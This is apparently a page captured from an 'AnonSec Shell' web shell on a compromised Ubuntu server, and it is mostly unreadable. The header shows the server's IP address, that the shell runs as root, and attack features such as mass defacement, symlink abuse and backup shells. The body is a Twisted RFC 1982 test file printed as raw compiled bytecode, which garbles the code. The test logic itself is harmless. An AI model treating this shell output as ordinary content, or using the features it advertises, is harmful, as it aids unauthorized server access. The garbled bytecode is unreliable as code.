AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/names/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/names/test/__pycache__/test_rfc1982.cpython-310.pyc
o

�b	6�@s�dZddlZddlmZddlmZddlmZddlmZGdd�dej	�Z
d	d
�Zeedd�ZGd
d�dej	�Z
eedd�ZGdd�dej	�ZdS)z*
Test cases for L{twisted.names.rfc1982}.
�N)�datetime)�partial��SerialNumber)�unittestc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:S);�SerialNumberTestsz$
    Tests for L{SerialNumber}.
    cCs|�td�jd�dS)zB
        L{SerialNumber.serialBits} has default value 32.
        �� N��assertEqualr�_serialBits��self�r�A/usr/lib/python3/dist-packages/twisted/names/test/test_rfc1982.py�test_serialBitsDefaultsz(SerialNumberTests.test_serialBitsDefaultcCs|�tddd�jd�dS)z�
        L{SerialNumber.__init__} accepts a C{serialBits} argument whose value is
        assigned to L{SerialNumber.serialBits}.
        r���
serialBitsNr
r
rrr�test_serialBitsOverride�z)SerialNumberTests.test_serialBitsOverridecCs|�dttddd���dS)ze
        L{SerialNumber.__repr__} returns a string containing number and
        serialBits.
        z'<SerialNumber number=123 serialBits=32>�{r	rN)r�reprrr
rrr�	test_repr#s�zSerialNumberTests.test_reprcCs|�ttd��d�dS)zg
        L{SerialNumber.__str__} returns a string representation of the current
        value.
        r�123N)r�strrr
rrr�test_str-�zSerialNumberTests.test_strcCs|�ttd��d�dS)zi
        L{SerialNumber.__int__} returns an integer representation of the current
        value.
        rN)r�intrr
rrr�test_int4rzSerialNumberTests.test_intcCs<|�ttd��ttd���|�ttd��ttd���dS)z|
        L{SerialNumber.__hash__} allows L{SerialNumber} instances to be hashed
        for use as dictionary keys.
        r�N)r�hashr�assertNotEqualr
rrr�	test_hash;s zSerialNumberTests.test_hashcCs,tddd�}tddd�}|�t|j|�dS)z�
        L{SerialNumber._convertOther} raises L{TypeError} if the other
        SerialNumber instance has a different C{serialBits} value.
        rrr�N)r�assertRaises�	TypeError�
_convertOther)r�s1�s2rrr�#test_convertOtherSerialBitsMismatchCsz5SerialNumberTests.test_convertOtherSerialBitsMismatchcCs|�td�td��dS)zK
        L{SerialNumber.__eq__} provides rich equality comparison.
        rN�rrr
rrr�test_eqM�zSerialNumberTests.test_eqcCs0|�td�t�k�|�td��t��t�dS)zy
        == comparison of L{SerialNumber} with a non-L{SerialNumber} instance
        returns L{NotImplemented}.
        rN)�assertFalser�object�assertIs�__eq__�NotImplementedr
rrr�test_eqForeignTypeS�z$SerialNumberTests.test_eqForeignTypecCs.|�td�td�k�|�td�td��dS)zK
        L{SerialNumber.__ne__} provides rich equality comparison.
        rr N)r.rr"r
rrr�test_ne[szSerialNumberTests.test_necCs0|�td�t�k�|�td��t��t�dS)zy
        != comparison of L{SerialNumber} with a non-L{SerialNumber} instance
        returns L{NotImplemented}.
        rN)�
assertTruerr/r0�__ne__r2r
rrr�test_neForeignTypebr4z$SerialNumberTests.test_neForeignTypecCs0|�td�td�k�|�td�td�k�dS)zE
        L{SerialNumber.__le__} provides rich <= comparison.
        rr N�r6rr
rrr�test_lej�zSerialNumberTests.test_lecC�|�tdd��dS)zs
        <= comparison of L{SerialNumber} with a non-L{SerialNumber} instance
        raises L{TypeError}.
        cSstd�t�kS�Nr�rr/rrrr�<lambda>v�z6SerialNumberTests.test_leForeignType.<locals>.<lambda>N�r%r&r
rrr�test_leForeignTypeq�z$SerialNumberTests.test_leForeignTypecCs0|�td�td�k�|�td�td�k�dS)zE
        L{SerialNumber.__ge__} provides rich >= comparison.
        rr Nr9r
rrr�test_gexr;zSerialNumberTests.test_gecCr<)zs
        >= comparison of L{SerialNumber} with a non-L{SerialNumber} instance
        raises L{TypeError}.
        cSstd�t�kSr=r>rrrrr?�r@z6SerialNumberTests.test_geForeignType.<locals>.<lambda>NrAr
rrr�test_geForeignTyperCz$SerialNumberTests.test_geForeignTypecCs|�td�td�k�dS)zD
        L{SerialNumber.__lt__} provides rich < comparison.
        rr Nr9r
rrr�test_lt��zSerialNumberTests.test_ltcCr<)zr
        < comparison of L{SerialNumber} with a non-L{SerialNumber} instance
        raises L{TypeError}.
        cSstd�t�kSr=r>rrrrr?�r@z6SerialNumberTests.test_ltForeignType.<locals>.<lambda>NrAr
rrr�test_ltForeignType�rCz$SerialNumberTests.test_ltForeignTypecCs|�td�td�k�dS)zD
        L{SerialNumber.__gt__} provides rich > comparison.
        r rNr9r
rrr�test_gt�rGzSerialNumberTests.test_gtcCr<)zt
        > comparison of L{SerialNumber} with a non-L{SerialNumber} instance
          raises L{TypeError}.
        cSstd�t�kS)Nr r>rrrrr?�r@z6SerialNumberTests.test_gtForeignType.<locals>.<lambda>NrAr
rrr�test_gtForeignType�rCz$SerialNumberTests.test_gtForeignTypecCs |�td�td�td��dS)zX
        L{SerialNumber.__add__} allows L{SerialNumber} instances to be summed.
        rr Nr+r
rrr�test_add�s zSerialNumberTests.test_addcCr<)zn
        Addition of L{SerialNumber} with a non-L{SerialNumber} instance raises
        L{TypeError}.
        cSstd�t�Sr=r>rrrrr?�r@z7SerialNumberTests.test_addForeignType.<locals>.<lambda>NrAr
rrr�test_addForeignType�rCz%SerialNumberTests.test_addForeignTypecs"td�j�|�t�fdd��dS)zp
        L{SerialNumber} cannot be added with other SerialNumber values larger
        than C{_maxAdd}.
        rcstd�t�d�Sr=rr��maxAddrrr?��z:SerialNumberTests.test_addOutOfRangeHigh.<locals>.<lambda>N)r�_maxAddr%�ArithmeticErrorr
rrMr�test_addOutOfRangeHigh�s
�z(SerialNumberTests.test_addOutOfRangeHighcCsNtd�}|j|jd}|d}|�t|�t|�k�|�t|�td��dS)z�
        L{SerialNumber.__add__} returns a wrapped value when s1 plus the s2
        would result in a value greater than the C{maxVal}.
        rrN)r�	_halfRingr6r)r�s�maxVal�maxValPlus1rrr�test_maxVal�s
zSerialNumberTests.test_maxValcCs|�td�t�d��dS)z�
        L{SerialNumber.fromRFC4034DateString} accepts a datetime string argument
        of the form 'YYYYMMDDhhmmss' and returns an L{SerialNumber} instance
        whose value is the unix timestamp corresponding to that UTC date.
        ���N�20120101000000N)rr�fromRFC4034DateStringr
rrr�test_fromRFC4034DateString�s�z,SerialNumberTests.test_fromRFC4034DateStringcCs|�dtd����dS)z�
        L{DateSerialNumber.toRFC4034DateString} interprets the current value as
        a unix timestamp and returns a date string representation of that date.
        rYrXN�rr�toRFC4034DateStringr
rrr�test_toRFC4034DateString�s�z*SerialNumberTests.test_toRFC4034DateStringcC�|�td���d�dS)zq
        L{SerialNumber.toRFC4034DateString} stores 32bit timestamps relative to
        the UNIX epoch.
        r�19700101000000Nr\r
rrr�test_unixEpoch�rz SerialNumberTests.test_unixEpochcCr_)zI
        L{SerialNumber} wraps unix timestamps in the year 2106.
        ����21060207062815Nr\r
rrr�test_Y2106Problem�r-z#SerialNumberTests.test_Y2106Problemc	sFt�tdddddd�����|��td�j�|�t�fdd	��d
S)zy
        L{SerialNumber} raises ArithmeticError when used to add dates more than
        68 years in the future.
        i�r����rcstd�t�d�S)Nrrrr��
maxAddTimerrr?�rOz5SerialNumberTests.test_Y2038Problem.<locals>.<lambda>N)	�calendar�timegmr�utctimetuplerrrPr%rQr
rrir�test_Y2038Problem�s��z#SerialNumberTests.test_Y2038ProblemN) �__name__�
__module__�__qualname__�__doc__rrrrrr#r*r,r3r5r8r:rBrDrErFrHrIrJrKrLrRrWr[r^rardrnrrrrrs<


	rcCsJ|�||k�|�||k�|�||k�|�||k�|�||k�dS)a�
    A custom assertion for L{SerialNumber} values that cannot be meaningfully
    compared.

    "Note that there are some pairs of values s1 and s2 for which s1 is not
    equal to s2, but for which s1 is neither greater than, nor less than, s2.
    An attempt to use these ordering operators on such pairs of values produces
    an undefined result."

    @see: U{https://tools.ietf.org/html/rfc1982#section-3.2}

    @param testCase: The L{unittest.TestCase} on which to call assertion
        methods.
    @type testCase: L{unittest.TestCase}

    @param s1: The first value to compare.
    @type s1: L{SerialNumber}

    @param s2: The second value to compare.
    @type s2: L{SerialNumber}
    N)r.)�testCaser(r)rrr�assertUndefinedComparison�s
rtr rc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�SerialNumber2BitTestsaF
    Tests for correct answers to example calculations in RFC1982 5.1.

    The simplest meaningful serial number space has SERIAL_BITS == 2.  In this
    space, the integers that make up the serial number space are 0, 1, 2, and 3.
    That is, 3 == 2^SERIAL_BITS - 1.

    https://tools.ietf.org/html/rfc1982#section-5.1
    cC�|�tddd�jd�dS)z�
        In this space, the largest integer that it is meaningful to add to a
        sequence number is 2^(SERIAL_BITS - 1) - 1, or 1.
        rr rrN�rrrPr
rrr�test_maxaddrz!SerialNumber2BitTests.test_maxaddcCst|�td�td�td��|�td�td�td��|�td�td�td��|�td�td�td��dS)zN
        Then, as defined 0+1 == 1, 1+1 == 2, 2+1 == 3, and 3+1 == 0.
        rrr rfN)r�
serialNumber2r
rrrrK&s zSerialNumber2BitTests.test_addcCs\|�td�td�k�|�td�td�k�|�td�td�k�|�td�td�k�dS)z:
        Further, 1 > 0, 2 > 1, 3 > 2, and 0 > 3.
        rrr rfN)r6ryr
rrrrI/szSerialNumber2BitTests.test_gtcCsTt|td�td��t|td�td��t|td�td��t|td�td��dS)zU
        It is undefined whether 2 > 0 or 0 > 2, and whether 1 > 3 or 3 > 1.
        r rrrfN)rtryr
rrr�test_undefined8sz$SerialNumber2BitTests.test_undefinedN)rorprqrrrxrKrIrzrrrrrus
		rurc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�SerialNumber8BitTestsa.
    Tests for correct answers to example calculations in RFC1982 5.2.

    Consider the case where SERIAL_BITS == 8.  In this space the integers that
    make up the serial number space are 0, 1, 2, ... 254, 255.  255 ==
    2^SERIAL_BITS - 1.

    https://tools.ietf.org/html/rfc1982#section-5.2
    cCrv)z�
        In this space, the largest integer that it is meaningful to add to a
        sequence number is 2^(SERIAL_BITS - 1) - 1, or 127.
        rrr�Nrwr
rrrrxPrz!SerialNumber8BitTests.test_maxaddcCsX|�td�td�td��|�td�td�td��|�td�td�td��dS)z|
        Addition is as expected in this space, for example: 255+1 == 0,
        100+100 == 200, and 200+100 == 44.
        �rr�d���,N)r�
serialNumber8r
rrrrKWs zSerialNumber8BitTests.test_addcCs�|�td�td�k�|�td�td�k�|�td�td�k�|�td�td�k�|�td�td�k�|�td�td�k�|�td�td�k�|�td�td�k�|�td�td�k�dS)z�
        Comparison is more interesting, 1 > 0, 44 > 0, 100 > 0, 100 > 44,
        200 > 100, 255 > 200, 0 > 255, 100 > 255, 0 > 200, and 44 > 200.
        rrr�r~rr}N�r6r�r
rrrrI`szSerialNumber8BitTests.test_gtcCsH|�td�td�td�k�|�td�td�td�td�k�dS)a�
        Note that 100+100 > 100, but that (100+100)+100 < 100.  Incrementing a
        serial number can cause it to become "smaller".  Of course, incrementing
        by a smaller number will allow many more increments to be made before
        this occurs.  However this is always something to be aware of, it can
        cause surprising errors, or be useful as it is the only defined way to
        actually cause a serial number to decrease.
        r~Nr�r
rrr�test_surprisingAdditionos	��z-SerialNumber8BitTests.test_surprisingAdditioncCsTt|td�td��t|td�td��t|td�td��t|td�td��d	S)
z�
        The pairs of values 0 and 128, 1 and 129, 2 and 130, etc, to 127 and 255
        are not equal, but in each pair, neither number is defined as being
        greater than, or less than, the other.
        r�r�r �r|r}N)rtr�r
rrrrz~sz$SerialNumber8BitTests.test_undefinedN)	rorprqrrrxrKrIr�rzrrrrr{Es
	r{)rrrkr�	functoolsr�twisted.names._rfc1982r�
twisted.trialr�TestCaserrtryrur�r{rrrr�<module>sd.

Anon7 - 2022
AnonSec Team